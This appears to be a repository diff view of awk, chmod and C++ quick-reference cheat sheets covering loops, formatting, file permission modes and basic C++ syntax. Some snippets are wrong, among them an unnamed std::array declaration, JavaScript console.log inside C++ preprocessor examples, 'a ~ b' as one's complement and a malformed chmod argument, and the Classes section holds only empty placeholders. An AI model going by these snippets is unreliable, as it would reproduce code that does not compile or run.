||||
|
||||
### while {.row-span-2}
|
||||
```
|
||||
awk 'BEGIN {
|
||||
while (a < 10) {
|
||||
print "- " " concatenation: " a
|
||||
a++;
|
||||
}
|
||||
}'
|
||||
```
|
||||
#### do...while
|
||||
```
|
||||
awk '{
|
||||
i = 1
|
||||
do {
|
||||
print $0
|
||||
i++
|
||||
} while (i <= 5)
|
||||
}' /etc/passwd
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Break
|
||||
```
|
||||
awk 'BEGIN {
|
||||
break_num = 5
|
||||
for (i = 0; i < 10; i++) {
|
||||
print i
|
||||
if (i == break_num)
|
||||
break
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Continue
|
||||
```
|
||||
awk 'BEGIN {
|
||||
for (x = 0; x <= 10; x++) {
|
||||
if (x == 5 || x == 6)
|
||||
continue
|
||||
printf "%d ", x
|
||||
}
|
||||
print ""
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
|
||||
Awk Formatted Printing {.cols-3}
|
||||
---------
|
||||
|
||||
### Usage
|
||||
#### Right align
|
||||
```
|
||||
awk 'BEGIN{printf "|%10s|\n", "hello"}'
|
||||
|
||||
| hello|
|
||||
```
|
||||
#### Left align
|
||||
```
|
||||
awk 'BEGIN{printf "|%-10s|\n", "hello"}'
|
||||
|
||||
|hello |
|
||||
```
|
||||
|
||||
### Common specifiers
|
||||
| Character | Description |
|
||||
|---------------|-----------------------|
|
||||
| `c` | ASCII character |
|
||||
| `d` | Decimal integer |
|
||||
| `e`, `E`, `f` | Floating-point format |
|
||||
| `o` | Unsigned octal value |
|
||||
| `s` | String |
|
||||
| `%` | Literal % |
|
||||
|
||||
|
||||
|
||||
|
||||
### Space
|
||||
```
|
||||
awk -F: '{
|
||||
printf "%-10s %s\n", $1, $(NF-1)
|
||||
}' /etc/passwd | head -n 3
|
||||
```
|
||||
Outputs
|
||||
```shell script
|
||||
root /root
|
||||
bin /bin
|
||||
daemon /sbin
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Header
|
||||
```
|
||||
awk -F: 'BEGIN {
|
||||
printf "%-10s %s\n", "User", "Home"
|
||||
printf "%-10s %s\n", "----","----"}
|
||||
{ printf "%-10s %s\n", $1, $(NF-1) }
|
||||
' /etc/passwd | head -n 5
|
||||
```
|
||||
Outputs
|
||||
```
|
||||
User Home
|
||||
---- ----
|
||||
root /root
|
||||
bin /bin
|
||||
daemon /sbin
|
||||
```
|
||||
|
||||
|
||||
|
||||
Miscellaneous {.cols-3}
|
||||
-------------
|
||||
|
||||
### Regex Metacharacters
|
||||
- `\`
|
||||
- `^`
|
||||
- `$`
|
||||
- `.`
|
||||
- `[`
|
||||
- `]`
|
||||
- `|`
|
||||
- `(`
|
||||
- `)`
|
||||
- `*`
|
||||
- `+`
|
||||
- `?`
|
||||
{.cols-3 .style-none}
|
||||
|
||||
### Escape Sequences
|
||||
| - | - |
|
||||
|------|---------------------|
|
||||
| `\b` | Backspace |
|
||||
| `\f` | Form feed |
|
||||
| `\n` | Newline (line feed) |
|
||||
| `\r` | Carriage return |
|
||||
| `\t` | Horizontal tab |
|
||||
| `\v` | Vertical tab |
|
||||
|
||||
|
||||
### Run script
|
||||
```shell script
|
||||
$ cat demo.awk
|
||||
#!/usr/bin/awk -f
|
||||
BEGIN { x = 23 }
|
||||
{ x += 2 }
|
||||
END { print x }
|
||||
$ awk -f demo.awk /etc/passwd
|
||||
69
|
||||
```
|
||||
|
||||
|
||||
Also see
|
||||
--------
|
||||
|
||||
- [The GNU Awk User's Guide](https://www-zeuthen.desy.de/dv/documentation/unixguide/infohtml/gawk/gawk.html) _(www-zeuthen.desy.de)_
|
||||
- [AWK cheatsheet](https://gist.github.com/Rafe/3102414) _(gist.github.com)_
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,241 @@
|
||||
---
|
||||
title: Chmod
|
||||
date: 2021-07-01 10:51:44
|
||||
icon: icon-permission
|
||||
background: bg-emerald-600
|
||||
tags:
|
||||
- permission
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: |
|
||||
This quick reference cheat sheet provides a brief overview of file permissions, and the operation of the chmod command
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-3}
|
||||
--------
|
||||
|
||||
|
||||
### Syntax
|
||||
```shell script
|
||||
$ chmod [options] <permissions> <file>
|
||||
```
|
||||
#### Example
|
||||
```shell
|
||||
$ chmod 755 foo.txt
|
||||
$ chmod +x quickref.py
|
||||
$ chmod u-x quickref.py
|
||||
$ chmod u=rwx,g=rx,o= quickref.sh
|
||||
```
|
||||
#### Change files and directories recursively
|
||||
```shell
|
||||
$ chmod -R 755 my_directory
|
||||
```
|
||||
The `chmod` command stands for "change mode"
|
||||
|
||||
|
||||
### Chmod Generator
|
||||
<widget name="chmod"/>
|
||||
|
||||
Chmod Generator allows you to quickly and visually generate permissions in numerical and symbolic.
|
||||
|
||||
|
||||
### Common Permissions
|
||||
| Command | s | Meaning |
|
||||
|---------|-----------|------------------------------|
|
||||
| `400` | r-------- | Readable by owner only |
|
||||
| `500` | r-x------ | Avoid Changing |
|
||||
| `600` | rw------- | Changeable by user |
|
||||
| `644` | rw-r--r-- | Read and change by user |
|
||||
| `660` | rw-rw---- | Changeable by user and group |
|
||||
| `700` | rwx------ | Only user has full access |
|
||||
| `755` | rwxr-xr-x | Only changeable by user |
|
||||
| `775` | rwxrwxr-x | Sharing mode for a group |
|
||||
| `777` | rwxrwxrwx | Everybody can do everything |
|
||||
|
||||
|
||||
### Explains
|
||||
```shell
|
||||
$ ls -l
|
||||
-rw-r--r-- 1 root root 3 Jun 29 15:35 a.log
|
||||
drwxr-xr-x 2 root root 2 Jun 30 18:06 dir
|
||||
```
|
||||
#### Permission analysis of "dir"
|
||||
```text
|
||||
d rwx r-x r-x
|
||||
┬ ─┬─ ─┬─ ─┬─
|
||||
│ │ │ │
|
||||
│ │ │ └─ 4. Other|5 (4+0+1)
|
||||
│ │ └────── 3. Group|5 (4+0+1)
|
||||
│ └─────────── 2. User |7 (4+2+1)
|
||||
└─────────────── 1. File Type | directory
|
||||
```
|
||||
|
||||
|
||||
### Permission Modes {.col-span-2}
|
||||
| Permission | Description | Octal | Decimal |
|
||||
|------------|-------------------------|-------|-----------|
|
||||
| `---` | No Permission | 000 | 0 (0+0+0) |
|
||||
| `--x` | Execute | 001 | 1 (0+0+1) |
|
||||
| `-w-` | Write | 010 | 2 (0+2+0) |
|
||||
| `-wx` | Execute and Write | 011 | 3 (0+2+1) |
|
||||
| `r--` | Read | 100 | 4 (4+0+0) |
|
||||
| `r-x` | Read and Execute | 101 | 5 (4+0+1) |
|
||||
| `rw-` | Read and Write | 110 | 6 (4+2+0) |
|
||||
| `rwx` | Read, Write and Execute | 111 | 7 (4+2+1) |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
### Objects
|
||||
| Who (abbr.) | Meaning |
|
||||
|-------------|--------------------|
|
||||
| `u` | `U`ser |
|
||||
| `g` | `G`roup |
|
||||
| `o` | `O`thers |
|
||||
| `a` | `A`ll, same as ugo |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### Permissions
|
||||
| Abbreviation | Permission | Value |
|
||||
|--------------|---------------|-------|
|
||||
| `r` | `R`ead | 4 |
|
||||
| `w` | `W`rite | 2 |
|
||||
| `x` | E`x`ecute | 1 |
|
||||
| `-` | No permission | 0 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### File Types
|
||||
| Abbreviation | File Type |
|
||||
|--------------|-----------------|
|
||||
| `d` | `D`irectory |
|
||||
| `-` | Regular file |
|
||||
| `l` | Symbolic `L`ink |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
Chmod Examples {.cols-3}
|
||||
--------
|
||||
|
||||
|
||||
### Operators
|
||||
| Symbol | Description |
|
||||
|--------|-------------|
|
||||
| `+` | Add |
|
||||
| `-` | Remove |
|
||||
| `=` | Set |
|
||||
|
||||
|
||||
### chmod 600
|
||||
```shell
|
||||
$ chmod 600 example.txt
|
||||
$ chmod u=rw,g=,o= example.txt
|
||||
$ chmod a+rwx,u-x,g-rwx,o-rwx example.txt
|
||||
```
|
||||
|
||||
|
||||
### chmod 664
|
||||
```shell
|
||||
$ chmod 664 example.txt
|
||||
$ chmod u=rw,g=rw,o=r example.txt
|
||||
$ chmod a+rwx,u-x,g-x,o-wx example.txt
|
||||
```
|
||||
|
||||
### chmod 777
|
||||
```shell
|
||||
$ chmod 777 example.txt
|
||||
$ chmod u=rwx,g=rwx,o=rwx example.txt
|
||||
$ chmod a=rwx example.txt
|
||||
```
|
||||
|
||||
|
||||
### Symbolic mode {.row-span-3}
|
||||
Deny execute permission to everyone.
|
||||
```shell
|
||||
$ chmod a-x chmodExampleFile.txt
|
||||
```
|
||||
Allow read permission to everyone.
|
||||
```shell
|
||||
$ chmod a+r chmodExampleFile.txt
|
||||
```
|
||||
Make a file readable and writable by the group and others.
|
||||
```shell
|
||||
$ chmod go+rw chmodExampleFile.txt
|
||||
```
|
||||
Make a shell script executable by the user/owner.
|
||||
```shell
|
||||
$ chmod u+x chmodExampleScript.sh
|
||||
```
|
||||
Allow everyone to read, write, and execute the file and turn on the set group-ID.
|
||||
```shell
|
||||
$ chmod =rwx,g+s chmodExampleScript.sh
|
||||
```
|
||||
|
||||
### Removing Permissions {.row-span-3}
|
||||
In order to remove read write permissions given to a file, use the following syntax:
|
||||
```shell
|
||||
$ chmod o-rw example.txt
|
||||
```
|
||||
For our file example.txt, we can remove read write permissions using chmod for group by running the following command:
|
||||
```shell
|
||||
$ chmod g-rx example.txt
|
||||
```
|
||||
To remove chmod read write permissions from the group while adding read write permission to public/others, we can use the following command:
|
||||
```shell
|
||||
$ chmod g-rx, o+rx example.txt
|
||||
```
|
||||
But, if you wish to remove all permissions for group and others, you can do so using the go= instead:
|
||||
```shell
|
||||
$ chmod go= example.txt
|
||||
```
|
||||
|
||||
### Executable
|
||||
```shell
|
||||
$ chmod +x ~/example.py
|
||||
$ chmod u+x ~/example.py
|
||||
$ chmod a+x ~/example.py
|
||||
```
|
||||
|
||||
### chmod 754
|
||||
```shell
|
||||
$ chmod 754 foo.sh
|
||||
$ chmod u=rwx,g=rx,o=r foo.sh
|
||||
```
|
||||
|
||||
|
||||
|
||||
Chmod Practices {.cols-3}
|
||||
---------------
|
||||
|
||||
### SSH Permissions
|
||||
```shell script
|
||||
$ chmod 700 ~/.ssh
|
||||
$ chmod 600 ~/.ssh/authorized_keys
|
||||
$ chmod 600 ~/.ssh/id_rsa
|
||||
$ chmod 600 ~/.ssh/id_rsa.pub
|
||||
$ chmod 400 /path/to/access_key.pem
|
||||
```
|
||||
|
||||
### Web Permissions
|
||||
```shell script
|
||||
$ chmod -R 644 /var/www/html/
|
||||
$ chmod 644 .htaccess
|
||||
$ chmod 644 robots.txt
|
||||
$ chmod 755 /var/www/uploads/
|
||||
$ find /var/www/html -type d -exec chmod 755 {} \;
|
||||
```
|
||||
|
||||
### Batch Change
|
||||
```shell script
|
||||
$ chmod -R 644 /your_path
|
||||
$ find /path -type d -exec chmod 755 {} \;
|
||||
$ find /path -type f -exec chmod 644 {} \;
|
||||
```
|
||||
See: [Command Substitution](https://tldp.org/LDP/abs/html/commandsub.html)
|
||||
|
||||
|
||||
## Also see
|
||||
* [Modify File Permissions with chmod](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
|
||||
@@ -0,0 +1,840 @@
|
||||
---
|
||||
title: C++
|
||||
date: 2021-06-01 11:51:44
|
||||
icon: icon-cpp
|
||||
background: bg-[#6d94c7]
|
||||
tags:
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
C++ quick reference cheat sheet that provides basic syntax and methods.
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-3}
|
||||
--------
|
||||
|
||||
### hello.cpp
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
|
||||
int main() {
|
||||
std::cout << "Hello QuickRef\n";
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compiling and running
|
||||
|
||||
```shell script
|
||||
$ g++ hello.cpp -o hello
|
||||
$ ./hello
|
||||
Hello QuickRef
|
||||
```
|
||||
|
||||
### Variables
|
||||
|
||||
```cpp
|
||||
int number = 5; // Integer
|
||||
float f = 0.95; // Floating number
|
||||
double PI = 3.14159; // Floating number
|
||||
char yes = 'Y'; // Character
|
||||
std::string s = "ME"; // String (text)
|
||||
bool isRight = true; // Boolean
|
||||
|
||||
// Constants
|
||||
const float RATE = 0.8;
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```cpp
|
||||
int age {25}; // Since C++11
|
||||
std::cout << age; // Print 25
|
||||
```
|
||||
|
||||
### Primitive Data Types
|
||||
|
||||
| Data Type | Size | Range |
|
||||
|-----------|----------------|---------------------|
|
||||
| `int` | 4 bytes | -2^31^ ^to^ 2^31^-1 |
|
||||
| `float` | 4 bytes | _N/A_ |
|
||||
| `double` | 8 bytes | _N/A_ |
|
||||
| `char` | 1 byte | -128 ^to^ 127 |
|
||||
| `bool` | 1 byte | true / false |
|
||||
| `void` | _N/A_ | _N/A_ |
|
||||
| `wchar_t` | 2 ^or^ 4 bytes | 1 wide character |
|
||||
{.show-header}
|
||||
|
||||
### User Input
|
||||
|
||||
```cpp
|
||||
int num;
|
||||
|
||||
std::cout << "Type a number: ";
|
||||
std::cin >> num;
|
||||
|
||||
std::cout << "You entered " << num;
|
||||
```
|
||||
|
||||
### Swap
|
||||
|
||||
```cpp
|
||||
int a = 5, b = 10;
|
||||
std::swap(a, b);
|
||||
|
||||
// Outputs: a=10, b=5
|
||||
std::cout << "a=" << a << ", b=" << b;
|
||||
```
|
||||
|
||||
### Comments
|
||||
|
||||
```cpp
|
||||
// A single one line comment in C++
|
||||
|
||||
/* This is a multiple line comment
|
||||
in C++ */
|
||||
```
|
||||
|
||||
### If statement
|
||||
|
||||
```cpp
|
||||
if (a == 10) {
|
||||
// do something
|
||||
}
|
||||
```
|
||||
|
||||
See: [Conditionals](#c-conditionals)
|
||||
|
||||
### Loops
|
||||
|
||||
```cpp
|
||||
for (int i = 0; i < 10; i++) {
|
||||
std::cout << i << "\n";
|
||||
}
|
||||
```
|
||||
|
||||
See: [Loops](#c-loops)
|
||||
|
||||
### Functions
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
|
||||
void hello(); // Declaring
|
||||
|
||||
int main() { // main function
|
||||
hello(); // Calling
|
||||
}
|
||||
|
||||
void hello() { // Defining
|
||||
std::cout << "Hello QuickRef!\n";
|
||||
}
|
||||
```
|
||||
|
||||
See: [Functions](#c-functions)
|
||||
|
||||
### References
|
||||
|
||||
```cpp
|
||||
int i = 1;
|
||||
int& ri = i; // ri is a reference to i
|
||||
|
||||
ri = 2; // i is now changed to 2
|
||||
std::cout << "i=" << i;
|
||||
|
||||
i = 3; // i is now changed to 3
|
||||
std::cout << "ri=" << ri;
|
||||
```
|
||||
|
||||
`ri` and `i` refer to the same memory location.
|
||||
|
||||
### Namespaces
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
namespace ns1 {int val(){return 5;}}
|
||||
int main()
|
||||
{
|
||||
std::cout << ns1::val();
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
namespace ns1 {int val(){return 5;}}
|
||||
using namespace ns1;
|
||||
using namespace std;
|
||||
int main()
|
||||
{
|
||||
cout << val();
|
||||
}
|
||||
```
|
||||
|
||||
Namespaces allow global identifiers under a name
|
||||
|
||||
C++ Arrays {.cols-3}
|
||||
------
|
||||
|
||||
### Declaration
|
||||
|
||||
```cpp
|
||||
std::array<int, 3> marks; // Definition
|
||||
marks[0] = 92;
|
||||
marks[1] = 97;
|
||||
marks[2] = 98;
|
||||
|
||||
// Define and initialize
|
||||
std::array<int, 3> = {92, 97, 98};
|
||||
|
||||
// With empty members
|
||||
std::array<int, 3> marks = {92, 97};
|
||||
std::cout << marks[2]; // Outputs: 0
|
||||
```
|
||||
|
||||
### Manipulation
|
||||
|
||||
```cpp
|
||||
┌─────┬─────┬─────┬─────┬─────┬─────┐
|
||||
| 92 | 97 | 98 | 99 | 98 | 94 |
|
||||
└─────┴─────┴─────┴─────┴─────┴─────┘
|
||||
0 1 2 3 4 5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
std::array<int, 6> marks = {92, 97, 98, 99, 98, 94};
|
||||
|
||||
// Print first element
|
||||
std::cout << marks[0];
|
||||
|
||||
// Change 2th element to 99
|
||||
marks[1] = 99;
|
||||
|
||||
// Take input from the user
|
||||
std::cin >> marks[2];
|
||||
```
|
||||
|
||||
### Displaying
|
||||
|
||||
```cpp
|
||||
char ref[5] = {'R', 'e', 'f'};
|
||||
|
||||
// Range based for loop
|
||||
for (const int &n : ref) {
|
||||
std::cout << std::string(1, n);
|
||||
}
|
||||
|
||||
// Traditional for loop
|
||||
for (int i = 0; i < sizeof(ref); ++i) {
|
||||
std::cout << ref[i];
|
||||
}
|
||||
```
|
||||
|
||||
### Multidimensional
|
||||
|
||||
```cpp
|
||||
j0 j1 j2 j3 j4 j5
|
||||
┌────┬────┬────┬────┬────┬────┐
|
||||
i0 | 1 | 2 | 3 | 4 | 5 | 6 |
|
||||
├────┼────┼────┼────┼────┼────┤
|
||||
i1 | 6 | 5 | 4 | 3 | 2 | 1 |
|
||||
└────┴────┴────┴────┴────┴────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
int x[2][6] = {
|
||||
{1,2,3,4,5,6}, {6,5,4,3,2,1}
|
||||
};
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
for (int j = 0; j < 6; ++j) {
|
||||
std::cout << x[i][j] << " ";
|
||||
}
|
||||
}
|
||||
// Outputs: 1 2 3 4 5 6 6 5 4 3 2 1
|
||||
```
|
||||
|
||||
C++ Conditionals {.cols-3}
|
||||
------------
|
||||
|
||||
### If Clause
|
||||
|
||||
```cpp
|
||||
if (a == 10) {
|
||||
// do something
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
int number = 16;
|
||||
|
||||
if (number % 2 == 0)
|
||||
{
|
||||
std::cout << "even";
|
||||
}
|
||||
else
|
||||
{
|
||||
std::cout << "odd";
|
||||
}
|
||||
|
||||
// Outputs: even
|
||||
```
|
||||
|
||||
### Else if Statement
|
||||
|
||||
```cpp
|
||||
int score = 99;
|
||||
if (score == 100) {
|
||||
std::cout << "Superb";
|
||||
}
|
||||
else if (score >= 90) {
|
||||
std::cout << "Excellent";
|
||||
}
|
||||
else if (score >= 80) {
|
||||
std::cout << "Very Good";
|
||||
}
|
||||
else if (score >= 70) {
|
||||
std::cout << "Good";
|
||||
}
|
||||
else if (score >= 60)
|
||||
std::cout << "OK";
|
||||
else
|
||||
std::cout << "What?";
|
||||
```
|
||||
|
||||
### Operators {.row-span-2}
|
||||
|
||||
#### Relational Operators
|
||||
|
||||
| | |
|
||||
|----------|------------------------------|
|
||||
| `a == b` | a is equal to b |
|
||||
| `a != b` | a is NOT equal to b |
|
||||
| `a < b` | a is less than b |
|
||||
| `a > b` | a is greater b |
|
||||
| `a <= b` | a is less than or equal to b |
|
||||
| `a >= b` | a is greater or equal to b |
|
||||
|
||||
#### Assignment Operators
|
||||
|
||||
| Example | Equivalent to |
|
||||
|----------|-----------------|
|
||||
| `a += b` | _Aka_ a = a + b |
|
||||
| `a -= b` | _Aka_ a = a - b |
|
||||
| `a *= b` | _Aka_ a = a * b |
|
||||
| `a /= b` | _Aka_ a = a / b |
|
||||
| `a %= b` | _Aka_ a = a % b |
|
||||
|
||||
#### Logical Operators
|
||||
|
||||
| Example | Meaning |
|
||||
|----------------|------------------------|
|
||||
| `exp1 && exp2` | Both are true _(AND)_ |
|
||||
| `exp1 || exp2` | Either is true _(OR)_ |
|
||||
| `!exp` | `exp` is false _(NOT)_ |
|
||||
|
||||
#### Bitwise Operators
|
||||
|
||||
| Operator | Description |
|
||||
|----------|-------------------------|
|
||||
| `a & b` | Binary AND |
|
||||
| `a | b` | Binary OR |
|
||||
| `a ^ b` | Binary XOR |
|
||||
| `a ~ b` | Binary One's Complement |
|
||||
| `a << b` | Binary Shift Left |
|
||||
| `a >> b` | Binary Shift Right |
|
||||
|
||||
### Ternary Operator
|
||||
|
||||
```
|
||||
┌── True ──┐
|
||||
Result = Condition ? Exp1 : Exp2;
|
||||
└───── False ─────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
int x = 3, y = 5, max;
|
||||
max = (x > y) ? x : y;
|
||||
|
||||
// Outputs: 5
|
||||
std::cout << max << std::endl;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
int x = 3, y = 5, max;
|
||||
if (x > y) {
|
||||
max = x;
|
||||
} else {
|
||||
max = y;
|
||||
}
|
||||
// Outputs: 5
|
||||
std::cout << max << std::endl;
|
||||
```
|
||||
|
||||
### Switch Statement
|
||||
|
||||
```cpp
|
||||
int num = 2;
|
||||
switch (num) {
|
||||
case 0:
|
||||
std::cout << "Zero";
|
||||
break;
|
||||
case 1:
|
||||
std::cout << "One";
|
||||
break;
|
||||
case 2:
|
||||
std::cout << "Two";
|
||||
break;
|
||||
case 3:
|
||||
std::cout << "Three";
|
||||
break;
|
||||
default:
|
||||
std::cout << "What?";
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
C++ Loops {.cols-3}
|
||||
------------
|
||||
|
||||
### While
|
||||
|
||||
```cpp
|
||||
int i = 0;
|
||||
while (i < 6) {
|
||||
std::cout << i++;
|
||||
}
|
||||
|
||||
// Outputs: 012345
|
||||
```
|
||||
|
||||
### Do-while
|
||||
|
||||
```cpp
|
||||
int i = 1;
|
||||
do {
|
||||
std::cout << i++;
|
||||
} while (i <= 5);
|
||||
|
||||
// Outputs: 12345
|
||||
```
|
||||
|
||||
### Continue statements
|
||||
|
||||
```cpp
|
||||
for (int i = 0; i < 10; i++) {
|
||||
if (i % 2 == 0) {
|
||||
continue;
|
||||
}
|
||||
std::cout << i;
|
||||
} // Outputs: 13579
|
||||
```
|
||||
|
||||
### Infinite loop
|
||||
|
||||
```cpp
|
||||
while (true) { // true or 1
|
||||
std::cout << "infinite loop";
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
for (;;) {
|
||||
std::cout << "infinite loop";
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
for(int i = 1; i > 0; i++) {
|
||||
std::cout << "infinite loop";
|
||||
}
|
||||
```
|
||||
|
||||
### for_each (Since C++11)
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
|
||||
int main()
|
||||
{
|
||||
auto print = [](int num) { std::cout << num << std::endl; };
|
||||
|
||||
std::array<int, 4> arr = {1, 2, 3, 4};
|
||||
std::for_each(arr.begin(), arr.end(), print);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Range-based (Since C++11)
|
||||
|
||||
```cpp
|
||||
for (int n : {1, 2, 3, 4, 5}) {
|
||||
std::cout << n << " ";
|
||||
}
|
||||
// Outputs: 1 2 3 4 5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cpp
|
||||
std::string hello = "QuickRef.ME";
|
||||
for (char c: hello)
|
||||
{
|
||||
std::cout << c << " ";
|
||||
}
|
||||
// Outputs: Q u i c k R e f . M E
|
||||
```
|
||||
|
||||
### Break statements
|
||||
|
||||
```cpp
|
||||
int password, times = 0;
|
||||
while (password != 1234) {
|
||||
if (times++ >= 3) {
|
||||
std::cout << "Locked!\n";
|
||||
break;
|
||||
}
|
||||
std::cout << "Password: ";
|
||||
std::cin >> password; // input
|
||||
}
|
||||
```
|
||||
|
||||
### Several variations
|
||||
|
||||
```cpp
|
||||
for (int i = 0, j = 2; i < 3; i++, j--){
|
||||
std::cout << "i=" << i << ",";
|
||||
std::cout << "j=" << j << ";";
|
||||
}
|
||||
// Outputs: i=0,j=2;i=1,j=1;i=2,j=0;
|
||||
```
|
||||
|
||||
C++ Functions {.cols-3}
|
||||
------------
|
||||
|
||||
### Arguments & Returns
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
|
||||
int add(int a, int b) {
|
||||
return a + b;
|
||||
}
|
||||
|
||||
int main() {
|
||||
std::cout << add(10, 20);
|
||||
}
|
||||
```
|
||||
|
||||
`add` is a function taking 2 ints and returning int
|
||||
|
||||
### Overloading
|
||||
|
||||
```cpp
|
||||
void fun(string a, string b) {
|
||||
std::cout << a + " " + b;
|
||||
}
|
||||
void fun(string a) {
|
||||
std::cout << a;
|
||||
}
|
||||
void fun(int a) {
|
||||
std::cout << a;
|
||||
}
|
||||
```
|
||||
|
||||
### Built-in Functions
|
||||
|
||||
```cpp
|
||||
#include <iostream>
|
||||
#include <cmath> // import library
|
||||
|
||||
int main() {
|
||||
// sqrt() is from cmath
|
||||
std::cout << sqrt(9);
|
||||
}
|
||||
```
|
||||
|
||||
C++ Classes & Objects {.cols-3}
|
||||
-----------------
|
||||
|
||||
### If statement
|
||||
|
||||
```cpp
|
||||
|
||||
```
|
||||
|
||||
### If statement
|
||||
|
||||
```cpp
|
||||
|
||||
```
|
||||
|
||||
### If statement
|
||||
|
||||
```cpp
|
||||
|
||||
```
|
||||
|
||||
### If statement
|
||||
|
||||
```cpp
|
||||
|
||||
```
|
||||
|
||||
C++ Preprocessor {.cols-3}
|
||||
------------
|
||||
|
||||
### Preprocessor {.row-span-3}
|
||||
|
||||
- [if](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [elif](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [else](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [endif](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [ifdef](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [ifndef](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [define](https://en.cppreference.com/w/cpp/preprocessor/replace)
|
||||
- [undef](https://en.cppreference.com/w/cpp/preprocessor/replace)
|
||||
- [include](https://en.cppreference.com/w/cpp/preprocessor/include)
|
||||
- [line](https://en.cppreference.com/w/cpp/preprocessor/line)
|
||||
- [error](https://en.cppreference.com/w/cpp/preprocessor/error)
|
||||
- [pragma](https://en.cppreference.com/w/cpp/preprocessor/impl)
|
||||
- [defined](https://en.cppreference.com/w/cpp/preprocessor/conditional)
|
||||
- [__has_include](https://en.cppreference.com/w/cpp/feature_test)
|
||||
- [__has_cpp_attribute](https://en.cppreference.com/w/cpp/feature_test)
|
||||
- [export](https://en.cppreference.com/w/cpp/keyword/export)
|
||||
- [import](https://en.cppreference.com/mwiki/index.php?title=cpp/keyword/import&action=edit&redlink=1)
|
||||
- [module](https://en.cppreference.com/mwiki/index.php?title=cpp/keyword/module&action=edit&redlink=1)
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Includes
|
||||
|
||||
```cpp
|
||||
#include "iostream"
|
||||
#include <iostream>
|
||||
```
|
||||
|
||||
### Defines
|
||||
|
||||
```cpp
|
||||
#define FOO
|
||||
#define FOO "hello"
|
||||
|
||||
#undef FOO
|
||||
```
|
||||
|
||||
### If {.row-span-2}
|
||||
|
||||
```cpp
|
||||
#ifdef DEBUG
|
||||
console.log('hi');
|
||||
#elif defined VERBOSE
|
||||
...
|
||||
#else
|
||||
...
|
||||
#endif
|
||||
```
|
||||
|
||||
### Error
|
||||
|
||||
```cpp
|
||||
#if VERSION == 2.0
|
||||
#error Unsupported
|
||||
#warning Not really supported
|
||||
#endif
|
||||
```
|
||||
|
||||
### Macro
|
||||
|
||||
```cpp
|
||||
#define DEG(x) ((x) * 57.29)
|
||||
```
|
||||
|
||||
### Token concat
|
||||
|
||||
```cpp
|
||||
#define DST(name) name##_s name##_t
|
||||
DST(object); #=> object_s object_t;
|
||||
```
|
||||
|
||||
### Stringification
|
||||
|
||||
```cpp
|
||||
#define STR(name) #name
|
||||
char * a = STR(object); #=> char * a = "object";
|
||||
```
|
||||
|
||||
### file and line
|
||||
|
||||
```cpp
|
||||
#define LOG(msg) console.log(__FILE__, __LINE__, msg)
|
||||
#=> console.log("file.txt", 3, "hey")
|
||||
```
|
||||
|
||||
Miscellaneous {.cols-3}
|
||||
-------------
|
||||
|
||||
### Escape Sequences
|
||||
|
||||
| Escape Sequences | Characters |
|
||||
|------------------|-----------------------|
|
||||
| `\b` | Backspace |
|
||||
| `\f` | Form feed |
|
||||
| `\n` | Newline |
|
||||
| `\r` | Return |
|
||||
| `\t` | Horizontal tab |
|
||||
| `\v` | Vertical tab |
|
||||
| `\\` | Backslash |
|
||||
| `\'` | Single quotation mark |
|
||||
| `\"` | Double quotation mark |
|
||||
| `\?` | Question mark |
|
||||
| `\0` | Null Character |
|
||||
|
||||
### Keywords {.col-span-2 .row-span-2}
|
||||
|
||||
- [alignas](https://en.cppreference.com/w/cpp/keyword/alignas)
|
||||
- [alignof](https://en.cppreference.com/w/cpp/keyword/alignof)
|
||||
- [and](https://en.cppreference.com/w/cpp/keyword/and)
|
||||
- [and_eq](https://en.cppreference.com/w/cpp/keyword/and_eq)
|
||||
- [asm](https://en.cppreference.com/w/cpp/keyword/asm)
|
||||
- [atomic_cancel](https://en.cppreference.com/w/cpp/keyword/atomic_cancel)
|
||||
- [atomic_commit](https://en.cppreference.com/w/cpp/keyword/atomic_commit)
|
||||
- [atomic_noexcept](https://en.cppreference.com/w/cpp/keyword/atomic_noexcept)
|
||||
- [auto](https://en.cppreference.com/w/cpp/keyword/auto)
|
||||
